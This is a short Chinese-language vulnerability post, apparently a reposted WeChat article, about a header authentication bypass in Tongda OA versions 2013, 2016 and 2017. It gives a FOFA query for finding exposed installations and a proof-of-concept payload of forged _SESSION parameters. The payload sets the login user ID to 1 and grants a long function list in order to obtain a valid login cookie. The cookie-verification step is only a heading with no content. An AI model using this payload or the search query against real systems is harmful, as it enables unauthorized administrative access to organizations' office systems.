通达OA header身份认证绕过漏洞
2023-12-12 07:3:20 Author: 网络安全透视镜(查看原文) 阅读量:45 收藏

一、漏洞描述

通达OA(Office Anywhere网络智能办公系统)是中国通达公司的一套协同办公自动化软件,通达OA2013,通达OA2016,通达OA2017 存在身份认证绕过漏洞,攻击者通过构造特定的数据包,获取登录cookie,利用cookie进行未授权访问。

二、网络空间搜索引擎搜索

fofa查询

title="office Anywhere" && product="TDXK-通达OA"

三、漏洞复现

POC

第一步:获取cookie

payload

_SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182,183,194,637,134,37,135,136,226,253,254,255,536,24,196,105,119,80,96,97,98,114,126,179,607,539,251,127,238,128,85,86,87,88,89,137,138,222,90,91,92,152,93,94,95,118,237,108,109,110,112,51,53,54,153,217,150,239,240,218,219,43,17,18,19,15,36,70,76,77,115,116,185,235,535,59,133,64,257,2,74,12,68,66,67,13,14,40,41,44,75,27,60,61,481,482,483,484,485,486,487,488,489,490,491,492,120,494,495,496,497,498,499,500,501,502,503,505,504,26,506,507,508,515,537,122,123,124,628,125,630,631,632,633,55,514,509,29,28,129,510,511,224,39,512,513,252,230,231,232,629,233,234,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,200,202,201,203,204,205,206,207,208,209,65,187,186,188,189,190,191,606,192,193,221,550,551,73,62,63,34,532,548,640,641,642,549,601,600,602,603,604,46,21,22,227,56,30,31,33,32,605,57,609,103,146,107,197,228,58,538,151,6,534,69,71,72,223,639,

第二步:验证cookie是否有效


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498701&idx=1&sn=70c7168e7d953298f91696666923ab9f&chksm=974c5cf5a03bd5e384c4f5c31f6b77cf43596daad2f405f5a261bd82b2502d326553e1e15cba&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh